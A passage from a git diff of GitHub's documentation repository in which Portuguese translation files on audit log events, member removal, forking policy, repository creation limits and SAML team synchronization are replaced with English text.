repository](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-a-repository)." +| `remove_topic` | Triggered when a repository admin removes a topic from a repository. +| `rename` | Triggered when [a repository is renamed](/articles/renaming-a-repository).{% ifversion fpt or ghes > 3.1 or ghae-issue-1157 or ghec %} +| `self_hosted_runner_online` | Triggered when the runner application is started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)." +| `self_hosted_runner_offline` | Triggered when the runner application is stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."{% endif %}{% ifversion fpt or ghes or ghec %} +| `self_hosted_runner_updated` | Triggered when the runner application is updated. Can be viewed using the REST API and the UI; not visible in the JSON/CSV export. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)."{% endif %}{% ifversion fpt or ghec %} +| `set_actions_fork_pr_approvals_policy` | Triggered when the setting for requiring approvals for workflows from public forks is changed. For more information, see "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#configuring-required-approval-for-workflows-from-public-forks)."{% endif %} +| `set_actions_retention_limit` | Triggered when the retention period for {% data variables.product.prodname_actions %} artifacts and logs is changed. For more information, see "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-repository)."{% ifversion fpt or ghes or ghec %} +| `set_fork_pr_workflows_policy` | Triggered when the policy for workflows on private repository forks is changed. For more information, see "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#enabling-workflows-for-private-repository-forks)."{% endif %} +| `transfer` | Triggered when [a repository is transferred](/articles/how-to-transfer-a-repository). +| `transfer_start` | Triggered when a repository transfer is about to occur. +| `unarchived` | Triggered when a repository admin unarchives a repository.{% ifversion fpt or ghes or ghec %} +| `update_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is updated.{% endif %} + +{% ifversion fpt or ghec %} + +### `repository_advisory` category actions + +| Action | Description +|------------------|------------------- +| `close` | Triggered when someone closes a security advisory. For more information, see "[About {% data variables.product.prodname_dotcom %} Security Advisories](/github/managing-security-vulnerabilities/about-github-security-advisories)." +| `cve_request` | Triggered when someone requests a CVE (Common Vulnerabilities and Exposures) number from {% data variables.product.prodname_dotcom %} for a draft security advisory. +| `github_broadcast` | Triggered when {% data variables.product.prodname_dotcom %} makes a security advisory public in the {% data variables.product.prodname_advisory_database %}. +| `github_withdraw` | Triggered when {% data variables.product.prodname_dotcom %} withdraws a security advisory that was published in error. +| `open` | Triggered when someone opens a draft security advisory. +| `publish` | Triggered when someone publishes a security advisory. +| `reopen` | Triggered when someone reopens as draft security advisory. +| `update` | Triggered when someone edits a draft or published security advisory. + +### `repository_content_analysis` category actions + +| Action | Description +|------------------|------------------- +| `enable` | Triggered when an organization owner or person with admin access to the repository [enables data use settings for a private repository](/github/understanding-how-github-uses-and-protects-your-data/managing-data-use-settings-for-your-private-repository). +| `disable` | Triggered when an organization owner or person with admin access to the repository [disables data use settings for a private repository](/github/understanding-how-github-uses-and-protects-your-data/managing-data-use-settings-for-your-private-repository). + +{% endif %}{% ifversion fpt or ghec %} + +### `repository_dependency_graph` category actions + +| Action | Description +|------------------|------------------- +| `disable` | Triggered when a repository owner or person with admin access to the repository disables the dependency graph for a {% ifversion fpt or ghec %}private {% endif %}repository. For more information, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)." +| `enable` | Triggered when a repository owner or person with admin access to the repository enables the dependency graph for a {% ifversion fpt or ghec %}private {% endif %}repository. + +{% endif %} +### `repository_secret_scanning` category actions + +| Action | Description +|------------------|------------------- +| `disable` | Triggered when a repository owner or person with admin access to the repository disables secret scanning for a {% ifversion fpt or ghec %}private {% endif %}repository. For more information, see "[About secret scanning](/github/administering-a-repository/about-secret-scanning)." +| `enable` | Triggered when a repository owner or person with admin access to the repository enables secret scanning for a {% ifversion fpt or ghec %}private {% endif %}repository. + +{% ifversion fpt or ghes or ghae-issue-4864 or ghec %} +### `repository_vulnerability_alert` category actions + +| Action | Description +|------------------|------------------- +| `create` | Triggered when {% data variables.product.product_name %} creates a {% data variables.product.prodname_dependabot %} alert for a repository that uses a vulnerable dependency. For more information, see "[About alerts for vulnerable dependencies](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)." +| `dismiss` | Triggered when an organization owner or person with admin access to the repository dismisses a {% data variables.product.prodname_dependabot %} alert about a vulnerable dependency. +| `resolve` | Triggered when someone with write access to a repository pushes changes to update and resolve a vulnerability in a project dependency. + +{% endif %}{% ifversion fpt or ghec %} +### `repository_vulnerability_alerts` category actions + +| Action | Description +|------------------|------------------- +| `authorized_users_teams` | Triggered when an organization owner or a person with admin permissions to the repository updates the list of people or teams authorized to receive {% data variables.product.prodname_dependabot_alerts %} for vulnerable dependencies in the repository. For more information, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts)." +| `disable` | Triggered when a repository owner or person with admin access to the repository disables {% data variables.product.prodname_dependabot_alerts %}. +| `enable` | Triggered when a repository owner or person with admin access to the repository enables {% data variables.product.prodname_dependabot_alerts %}. + +{% endif %}{% ifversion ghec %} +### `role` category actions +| Action | Description +|------------------|------------------- +|`create` | Triggered when an organization owner creates a new custom repository role. For more information, see "[Managing custom repository roles for an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization)." +|`destroy` | Triggered when a organization owner deletes a custom repository role. For more information, see "[Managing custom repository roles for an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization)." +|`update` | Triggered when an organization owner edits an existing custom repository role. For more information, see "[Managing custom repository roles for an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization)." + +{% endif %} + +### `secret_scanning` category actions + +| Action | Description +|------------------|------------------- +| `disable` | Triggered when an organization owner disables secret scanning for all existing{% ifversion fpt or ghec %}, private{% endif %} repositories. For more information, see "[About secret scanning](/github/administering-a-repository/about-secret-scanning)." +| `enable` | Triggered when an organization owner enables secret scanning for all existing{% ifversion fpt or ghec %}, private{% endif %} repositories. + +### `secret_scanning_new_repos` category actions + +| Action | Description +|------------------|------------------- +| `disable` | Triggered when an organization owner disables secret scanning for all new {% ifversion fpt or ghec %}private {% endif %}repositories. For more information, see "[About secret scanning](/github/administering-a-repository/about-secret-scanning)." +| `enable` | Triggered when an organization owner enables secret scanning for all new {% ifversion fpt or ghec %}private {% endif %}repositories. + +{% ifversion fpt or ghec %} +### `sponsors` category actions + +| Action | Description +|------------------|------------------- +| `custom_amount_settings_change` | Triggered when you enable or disable custom amounts, or when you change the suggested custom amount (see "[Managing your sponsorship tiers](/github/supporting-the-open-source-community-with-github-sponsors/managing-your-sponsorship-tiers)") +| `repo_funding_links_file_action` | Triggered when you change the FUNDING file in your repository (see "[Displaying a sponsor button in your repository](/articles/displaying-a-sponsor-button-in-your-repository)") +| `sponsor_sponsorship_cancel` | Triggered when you cancel a sponsorship (see "[Downgrading a sponsorship](/articles/downgrading-a-sponsorship)") +| `sponsor_sponsorship_create` | Triggered when you sponsor an account (see "[Sponsoring an open source contributor](/sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor)") +| `sponsor_sponsorship_payment_complete` | Triggered after you sponsor an account and your payment has been processed (see "[Sponsoring an open source contributor](/sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor)") +| `sponsor_sponsorship_preference_change` | Triggered when you change whether you receive email updates from a sponsored account (see "[Managing your sponsorship](/sponsors/sponsoring-open-source-contributors/managing-your-sponsorship)") +| `sponsor_sponsorship_tier_change` | Triggered when you upgrade or downgrade your sponsorship (see "[Upgrading a sponsorship](/articles/upgrading-a-sponsorship)" and "[Downgrading a sponsorship](/articles/downgrading-a-sponsorship)") +| `sponsored_developer_approve` | Triggered when your {% data variables.product.prodname_sponsors %} account is approved (see "[Setting up {% data variables.product.prodname_sponsors %} for your organization](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization)") +| `sponsored_developer_create` | Triggered when your {% data variables.product.prodname_sponsors %} account is created (see "[Setting up {% data variables.product.prodname_sponsors %} for your organization](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization)") +| `sponsored_developer_disable` | Triggered when your {% data variables.product.prodname_sponsors %} account is disabled +| `sponsored_developer_redraft` | Triggered when your {% data variables.product.prodname_sponsors %} account is returned to draft state from approved state +| `sponsored_developer_profile_update` | Triggered when you edit your sponsored organization profile (see "[Editing your profile details for {% data variables.product.prodname_sponsors %}](/sponsors/receiving-sponsorships-through-github-sponsors/editing-your-profile-details-for-github-sponsors)") +| `sponsored_developer_request_approval` | Triggered when you submit your application for {% data variables.product.prodname_sponsors %} for approval (see "[Setting up {% data variables.product.prodname_sponsors %} for your organization](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization)") +| `sponsored_developer_tier_description_update` | Triggered when you change the description for a sponsorship tier (see "[Managing your sponsorship tiers](/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-sponsorship-tiers)") +| `sponsored_developer_update_newsletter_send` | Triggered when you send an email update to your sponsors (see "[Contacting your sponsors](/sponsors/receiving-sponsorships-through-github-sponsors/contacting-your-sponsors)") +| `waitlist_invite_sponsored_developer` | Triggered when you are invited to join {% data variables.product.prodname_sponsors %} from the waitlist (see "[Setting up {% data variables.product.prodname_sponsors %} for your organization](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization)") +| `waitlist_join` | Triggered when you join the waitlist to become a sponsored organization (see "[Setting up {% data variables.product.prodname_sponsors %} for your organization](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization)") +{% endif %} + +### `team` category actions + +| Action | Description +|------------------|------------------- +| `add_member` | Triggered when a member of an organization is [added to a team](/articles/adding-organization-members-to-a-team). +| `add_repository` | Triggered when a team is given control of a repository. +| `change_parent_team` | Triggered when a child team is created or [a child team's parent is changed](/articles/moving-a-team-in-your-organization-s-hierarchy). +| `change_privacy` | Triggered when a team's privacy level is changed. +| `create` | Triggered when a new team is created. +| `demote_maintainer` | Triggered when a user was demoted from a team maintainer to a team member. For more information, see "[Assigning the team maintainer role to a team member](/organizations/organizing-members-into-teams/assigning-the-team-maintainer-role-to-a-team-member)." +| `destroy` | Triggered when a team is deleted from the organization. +| `team.promote_maintainer` | Triggered when a user was promoted from a team member to a team maintainer. For more information, see "[Assigning the team maintainer role to a team member](/organizations/organizing-members-into-teams/assigning-the-team-maintainer-role-to-a-team-member)." +| `remove_member` | Triggered when a member of an organization is [removed from a team](/articles/removing-organization-members-from-a-team). +| `remove_repository` | Triggered when a repository is no longer under a team's control. + +### `team_discussions` category actions + +| Action | Description +|---|---| +| `disable` | Triggered when an organization owner disables team discussions for an organization. For more information, see "[Disabling team discussions for your organization](/articles/disabling-team-discussions-for-your-organization)." +| `enable` | Triggered when an organization owner enables team discussions for an organization. + +{% ifversion fpt or ghec or ghes > 3.1 or ghae-next %} +### `workflows` category actions + +{% data reusables.actions.actions-audit-events-workflow %} +{% endif %} +## Further reading + +- "[Keeping your organization secure](/articles/keeping-your-organization-secure)"{% ifversion fpt or ghec or ghes > 3.3 or ghae-issue-5146 %} +- "[Exporting member information for your organization](/organizations/managing-membership-in-your-organization/exporting-member-information-for-your-organization)"{% endif %} \ No newline at end of file diff --git a/translations/pt-BR/content/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization.md b/translations/pt-BR/content/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization.md index 72ad49aa98..160e49af6a 100644 --- a/translations/pt-BR/content/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization.md +++ b/translations/pt-BR/content/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization.md @@ -1,6 +1,6 @@ --- -title: Remover um integrante da organização -intro: 'Se integrantes não precisarem mais acessar os repositórios pertencentes à organização, você poderá removê-los da organização.' +title: Removing a member from your organization +intro: 'If members of your organization no longer require access to any repositories owned by the organization, you can remove them from the organization.' redirect_from: - /articles/removing-a-member-from-your-organization - /github/setting-up-and-managing-organizations-and-teams/removing-a-member-from-your-organization @@ -12,20 +12,22 @@ versions: topics: - Organizations - Teams -shortTitle: Remover um integrante +shortTitle: Remove a member --- -Somente proprietários da organização podem remover integrantes da organização. +Only organization owners can remove members from an organization. {% ifversion fpt or ghec %} {% warning %} -**Aviso:** Ao remover integrantes de uma organização: -- O número de licenças pagas não faz o downgrade automaticamente. Para pagar menos licenças depois de remover os usuários da sua organização, siga as etapas em "[Fazer o downgrade das estações pagas da sua organização](/articles/downgrading-your-organization-s-paid-seats)". -- Os integrantes removidos perderão o acesso às bifurcações privadas dos repositórios privados da sua organização, mas ainda poderão ter cópias locais. No entanto, eles não conseguem sincronizar as cópias locais com os repositórios da organização. As bifurcações privadas poderão ser restauradas se o usuário for [restabelecido como um integrante da organização](/articles/reinstating-a-former-member-of-your-organization) em até três meses após sua remoção da organização. Em última análise, você é responsável por garantir que as pessoas que perderam o acesso a um repositório excluam qualquer informação confidencial ou de propriedade intelectual. -- Se a organização pertence a uma conta corporativa, os integrantes removidos também perderão acesso a bifurcações privadas dos repositórios internos da organização, se o integrante removido não for integrante de outra organização pertencente à mesma conta corporativa. Para obter mais informações, consulte "[Sobre contas corporativas](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts)". -- Quaisquer convites para organizações enviados por um integrante removido que não foram aceitos, serão cancelados e não serão acessíveis. +**Warning:** When you remove members from an organization: +- The paid license count does not automatically downgrade. To pay for fewer licenses after removing users from your organization, follow the steps in "[Downgrading your organization's paid seats](/articles/downgrading-your-organization-s-paid-seats)." +- Removed members will lose access to private forks of your organization's private repositories, but they may still have local copies. However, they cannot sync local copies with your organization's repositories. Their private forks can be restored if the user is [reinstated as an organization member](/articles/reinstating-a-former-member-of-your-organization) within three months of being removed from the organization. Ultimately, you are responsible for ensuring that people who have lost access to a repository delete any confidential information or intellectual property. +{%- ifversion ghec %} +- Removed members will also lose access to private forks of your organization's internal repositories, if the removed member is not a member of any other organization owned by the same enterprise account. For more information, see "[About enterprise accounts](/admin/overview/about-enterprise-accounts)." +{%- endif %} +- Any organization invitations sent by a removed member, that have not been accepted, are cancelled and will not be accessible. {% endwarning %} @@ -33,10 +35,10 @@ Somente proprietários da organização podem remover integrantes da organizaç {% warning %} -**Aviso:** Ao remover integrantes de uma organização: - - Os integrantes removidos perderão o acesso às bifurcações privadas dos repositórios privados da sua organização, mas ainda poderão ter cópias locais. No entanto, eles não conseguem sincronizar as cópias locais com os repositórios da organização. As bifurcações privadas poderão ser restauradas se o usuário for [restabelecido como um integrante da organização](/articles/reinstating-a-former-member-of-your-organization) em até três meses após sua remoção da organização. Em última análise, você é responsável por garantir que as pessoas que perderam o acesso a um repositório excluam qualquer informação confidencial ou de propriedade intelectual. -- Os integrantes removidos também perderão acesso a bifurcações privadas dos repositórios internos da sua organização, se o integrante removido não for um integrante de outra organização na sua empresa. - - Quaisquer convites para organizações enviados pelo usuário removido, que não foram aceitos, serão cancelados e não serão acessíveis. +**Warning:** When you remove members from an organization: + - Removed members will lose access to private forks of your organization's private repositories, but may still have local copies. However, they cannot sync local copies with your organization's repositories. Their private forks can be restored if the user is [reinstated as an organization member](/articles/reinstating-a-former-member-of-your-organization) within three months of being removed from the organization. Ultimately, you are responsible for ensuring that people who have lost access to a repository delete any confidential information or intellectual property. +- Removed members will also lose access to private forks of your organization's internal repositories, if the removed member is not a member of any other organization in your enterprise. + - Any organization invitations sent by the removed user, that have not been accepted, are cancelled and will not be accessible. {% endwarning %} @@ -44,21 +46,24 @@ Somente proprietários da organização podem remover integrantes da organizaç {% ifversion fpt or ghec %} -Para auxiliar a transição e garantir a exclusão das informações confidenciais ou de propriedade intelectual, recomendamos o compartilhamento de uma lista de práticas recomendadas ao sair da organização com o usuário que está sendo removido. Consulte um exemplo em "[Práticas recomendadas para sair da empresa](/articles/best-practices-for-leaving-your-company/)". +To help the person you're removing from your organization transition and help ensure they delete confidential information or intellectual property, we recommend sharing a checklist of best practices for leaving your organization. For an example, see "[Best practices for leaving your company](/articles/best-practices-for-leaving-your-company/)." {% endif %} {% data reusables.organizations.data_saved_for_reinstating_a_former_org_member %} -## Revogar a associação do usuário +## Revoking the user's membership {% data reusables.profile.access_org %} {% data reusables.user_settings.access_org %} {% data reusables.organizations.people %} -4. Selecione um ou mais integrantes que deseja remover da organização. ![Lista de integrantes com dois integrantes selecionados](/assets/images/help/teams/list-of-members-selected-bulk.png) -5. Acima da lista de integrantes, use o menu suspenso e clique **Remove from organization** (Remover da organização). ![Menu suspenso com opção de remover integrantes](/assets/images/help/teams/user-bulk-management-options.png) -6. Revise os integrantes que serão removidos da organização e clique em **Remove members** (Remover integrantes). ![Lista de integrantes que serão removidos e botão Remove members (Remover integrantes)](/assets/images/help/teams/confirm-remove-members-bulk.png) +4. Select the member or members you'd like to remove from the organization. + ![List of members with two members selected](/assets/images/help/teams/list-of-members-selected-bulk.png) +5. Above the list of members, use the drop-down menu, and click **Remove from organization**. + ![Drop-down menu with option to remove members](/assets/images/help/teams/user-bulk-management-options.png) +6. Review the member or members who will be removed from the organization, then click **Remove members**. + ![List of members who will be removed and Remove members button](/assets/images/help/teams/confirm-remove-members-bulk.png) -## Leia mais +## Further reading -- "[Remover integrantes da organização de uma equipe](/articles/removing-organization-members-from-a-team)" +- "[Removing organization members from a team](/articles/removing-organization-members-from-a-team)" diff --git a/translations/pt-BR/content/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization.md b/translations/pt-BR/content/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization.md index 02c523c83a..841dca73ea 100644 --- a/translations/pt-BR/content/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization.md +++ b/translations/pt-BR/content/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization.md @@ -1,6 +1,6 @@ --- -title: Gerenciar a política de bifurcação da sua organização -intro: 'Você pode permitir ou impedir a bifurcação de qualquer repositório privado{% ifversion fpt or ghes or ghae or ghec %} e interno{% endif %} pertencente à sua organização.' +title: Managing the forking policy for your organization +intro: 'You can allow or prevent the forking of any private{% ifversion ghes or ghae or ghec %} and internal{% endif %} repositories owned by your organization.' redirect_from: - /articles/allowing-people-to-fork-private-repositories-in-your-organization - /github/setting-up-and-managing-organizations-and-teams/allowing-people-to-fork-private-repositories-in-your-organization @@ -14,22 +14,25 @@ versions: topics: - Organizations - Teams -shortTitle: Gerenciar política de bifurcação +shortTitle: Manage forking policy --- -Por padrão, as novas organizações estão configuradas para não permitir a bifurcação de repositórios privados{% ifversion fpt or ghes or ghae or ghec %} e internos{% endif %}. +By default, new organizations are configured to disallow the forking of private{% ifversion ghes or ghec or ghae %} and internal{% endif %} repositories. -Se você permitir a bifurcação de repositórios privados{% ifversion fpt or ghes or ghae or ghec %} e internos{% endif %} no nível da organização você também poderá configurar a capacidade de bifurcar um repositório privado{% ifversion fpt or ghes or ghae or ghec %} ou interno{% endif %}. Para obter mais informações, consulte "[Gerenciar a política de bifurcação do seu repositório](/github/administering-a-repository/managing-the-forking-policy-for-your-repository)". - -{% data reusables.organizations.internal-repos-enterprise %} +If you allow forking of private{% ifversion ghes or ghec or ghae %} and internal{% endif %} repositories at the organization level, you can also configure the ability to fork a specific private{% ifversion ghes or ghec or ghae %} or internal{% endif %} repository. For more information, see "[Managing the forking policy for your repository](/github/administering-a-repository/managing-the-forking-policy-for-your-repository)." {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} -{% data reusables.organizations.member-privileges %} -5. Em "Bifurcação do repositório", selecione **Permitir bifurcação de repositórios privados** ou **Permitir bifurcação de repositórios internos e privados**. ![Caixa de seleção para permitir ou proibir a bifurcação na organização](/assets/images/help/repository/allow-disable-forking-organization.png) -6. Clique em **Salvar**. +1. Under "Repository forking", select **Allow forking of private {% ifversion ghec or ghes or ghae %}and internal {% endif %}repositories**. -## Leia mais + {%- ifversion fpt %} + ![Checkbox to allow or disallow forking in the organization](/assets/images/help/repository/allow-disable-forking-fpt.png) + {%- elsif ghes or ghec or ghae %} + ![Checkbox to allow or disallow forking in the organization](/assets/images/help/repository/allow-disable-forking-organization.png) + {%- endif %} +6. Click **Save**. -- "[Sobre bifurcações](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)" +## Further reading + +- "[About forks](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)" - "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)" diff --git a/translations/pt-BR/content/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization.md b/translations/pt-BR/content/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization.md index d048b8c339..7f1c181bd9 100644 --- a/translations/pt-BR/content/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization.md +++ b/translations/pt-BR/content/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization.md @@ -1,6 +1,6 @@ --- -title: Restringir a criação de repositórios na organização -intro: 'Para proteger os dados da organização, você pode configurar as permissões de criação de repositórios na organização.' +title: Restricting repository creation in your organization +intro: 'To protect your organization''s data, you can configure permissions for creating repositories in your organization.' redirect_from: - /articles/restricting-repository-creation-in-your-organization - /github/setting-up-and-managing-organizations-and-teams/restricting-repository-creation-in-your-organization @@ -12,25 +12,29 @@ versions: topics: - Organizations - Teams -shortTitle: Restringir criação de repositório +shortTitle: Restrict repository creation --- -Você pode escolher se os integrantes podem criar repositórios na sua organização. Se você permitir que os integrantes criem repositórios, você poderá escolher quais tipos de repositórios os integrantes poderão criar.{% ifversion fpt or ghec %} Para permitir que os integrantes criem apenas repositórios privados, a sua organização deverá usar o {% data variables.product.prodname_ghe_cloud %}.{% endif %} Para obter mais informações, consulte "[Sobre repositórios](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)". +You can choose whether members can create repositories in your organization. If you allow members to create repositories, you can choose which types of repositories members can create.{% ifversion fpt or ghec %} To allow members to create private repositories only, your organization must use {% data variables.product.prodname_ghe_cloud %}.{% endif %}{% ifversion fpt %} For more information, see "[About repositories](/enterprise-cloud@latest/repositories/creating-and-managing-repositories/about-repositories)" in the {% data variables.product.prodname_ghe_cloud %} documentation{% endif %}. -Os proprietários da organização sempre podem criar qualquer tipo de repositório. - -{% ifversion fpt or ghec %}Proprietários de empresas{% else %}administradores do site{% endif %} podem restringir as opções disponíveis para a política de criação de repositório da sua organização. For more information, see "[Restricting repository creation in your enterprise](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#setting-a-policy-for-repository-creation)." +Organization owners can always create any type of repository. +{% ifversion ghec or ghae or ghes %} +{% ifversion ghec or ghae %}Enterprise owners{% elsif ghes %}Site administrators{% endif %} can restrict the options you have available for your organization's repository creation policy.{% ifversion ghec or ghes or ghae %} For more information, see "[Restricting repository creation in your enterprise](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#setting-a-policy-for-repository-creation)."{% endif %}{% endif %} {% warning %} -**Aviso**: Essa configuração restringe apenas as opções de visibilidade disponíveis quando os repositórios são criados e não restringe a capacidade de alterar a visibilidade do repositório mais tarde. Para obter mais informações sobre restringir alterações em visibilidades de repositórios existentes, consulte "[Restringindo alterações da visibilidade do repositório na sua organização](/organizations/managing-organization-settings/restricting-repository-visibility-changes-in-your-organization)". +**Warning**: This setting only restricts the visibility options available when repositories are created and does not restrict the ability to change repository visibility at a later time. For more information about restricting changes to existing repositories' visibilities, see "[Restricting repository visibility changes in your organization](/organizations/managing-organization-settings/restricting-repository-visibility-changes-in-your-organization)." {% endwarning %} -{% data reusables.organizations.internal-repos-enterprise %} - {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.member-privileges %} -5. Em "Criação do repositório", selecione uma ou mais opções. ![Opções de criação de repositório](/assets/images/help/organizations/repo-creation-perms-radio-buttons.png) -6. Clique em **Salvar**. +5. Under "Repository creation", select one or more options. + + {%- ifversion ghes or ghec or ghae %} + ![Repository creation options](/assets/images/help/organizations/repo-creation-perms-radio-buttons.png) + {%- elsif fpt %} + ![Repository creation options](/assets/images/help/organizations/repo-creation-perms-radio-buttons-fpt.png) + {%- endif %} +6. Click **Save**. diff --git a/translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/index.md b/translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/index.md index 6bf10df37d..420131782e 100644 --- a/translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/index.md +++ b/translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/index.md @@ -1,6 +1,6 @@ --- -title: Gerenciar o logon único SAML para sua organização -intro: Administradores da organização podem gerenciar as identidades e acessos dos integrantes à organização com logon único SAML (SSO). +title: Managing SAML single sign-on for your organization +intro: Organization administrators can manage organization members' identities and access to the organization with SAML single sign-on (SSO). redirect_from: - /articles/managing-member-identity-and-access-in-your-organization-with-saml-single-sign-on/ - /articles/managing-saml-single-sign-on-for-your-organization @@ -22,6 +22,7 @@ children: - /downloading-your-organizations-saml-single-sign-on-recovery-codes - /managing-team-synchronization-for-your-organization - /accessing-your-organization-if-your-identity-provider-is-unavailable -shortTitle: Gerenciar logon único SAML + - /troubleshooting-identity-and-access-management +shortTitle: Manage SAML single sign-on --- diff --git a/translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization.md b/translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization.md index 7459fec2bd..c963c89bb7 100644 --- a/translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization.md +++ b/translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization.md @@ -1,6 +1,6 @@ --- -title: Gerenciar a sincronização de equipe para a sua organização -intro: 'Você pode habilitar e desabilitar a sincronização de equipes entre o seu provedor de identidade (IdP) e a sua organização em {% data variables.product.product_name %}.' +title: Managing team synchronization for your organization +intro: 'You can enable and disable team synchronization between your identity provider (IdP) and your organization on {% data variables.product.product_name %}.' product: '{% data reusables.gated-features.team-synchronization %}' redirect_from: - /articles/synchronizing-teams-between-your-identity-provider-and-github @@ -15,16 +15,14 @@ versions: topics: - Organizations - Teams -shortTitle: Gerenciar sincronização de equipe +shortTitle: Manage team synchronization --- {% data reusables.enterprise-accounts.emu-scim-note %} -{% data reusables.gated-features.okta-team-sync %} +## About team synchronization -## Sobre a sincronização de equipes - -É possível habilitar a sincronização de equipes entre seu IdP e o {% data variables.product.product_name %} para permitir que os proprietários da organização e mantenedores da equipe conectem equipes na sua organização com grupos de IdP. +You can enable team synchronization between your IdP and {% data variables.product.product_name %} to allow organization owners and team maintainers to connect teams in your organization with IdP groups. {% data reusables.identity-and-permissions.about-team-sync %} @@ -32,25 +30,25 @@ shortTitle: Gerenciar sincronização de equipe {% data reusables.identity-and-permissions.sync-team-with-idp-group %} -Também é possível habilitar a sincronização de equipes para organizações que pertencem a uma conta corporativa. For more information, see "[Managing team synchronization for organizations in your enterprise](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise)." +You can also enable team synchronization for organizations owned by an enterprise account. For more information, see "[Managing team synchronization for organizations in your enterprise](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise)." {% data reusables.enterprise-accounts.team-sync-override %} {% data reusables.identity-and-permissions.team-sync-usage-limits %} -## Habilitar a sincronização de equipes +## Enabling team synchronization -As etapas para habilitar a sincronização de equipe dependem do IdP que você deseja usar. Existem pré-requisitos para habilitar a sincronização de equipes que se aplicam a cada IdP. Cada IdP individual tem pré-requisitos adicionais. +The steps to enable team synchronization depend on the IdP you want to use. There are prerequisites to enable team synchronization that apply to every IdP. Each individual IdP has additional prerequisites. -### Pré-requisitos +### Prerequisites {% data reusables.identity-and-permissions.team-sync-required-permissions %} -Você deve habilitar o logon único SAML para sua organização e seu IdP compatível. Para obter mais informações, consulte "[Aplicando o logon único SAML para a sua organização](/articles/enforcing-saml-single-sign-on-for-your-organization)". +You must enable SAML single sign-on for your organization and your supported IdP. For more information, see "[Enforcing SAML single sign-on for your organization](/articles/enforcing-saml-single-sign-on-for-your-organization)." -You must have a linked SAML identity. To create a linked identity, you must authenticate to your organization using SAML SSO and the supported IdP at least once. Para obter mais informações, consulte "[Autenticar com logon único de SAML](/articles/authenticating-with-saml-single-sign-on)". +You must have a linked SAML identity. To create a linked identity, you must authenticate to your organization using SAML SSO and the supported IdP at least once. For more information, see "[Authenticating with SAML single sign-on](/articles/authenticating-with-saml-single-sign-on)." -### Habilitar a sincronização de equipe para o Azure AD +### Enabling team synchronization for Azure AD {% data reusables.identity-and-permissions.team-sync-azure-permissions %} @@ -60,9 +58,18 @@ You must have a linked SAML identity. To create a linked identity, you must auth {% data reusables.identity-and-permissions.team-sync-confirm-saml %} {% data 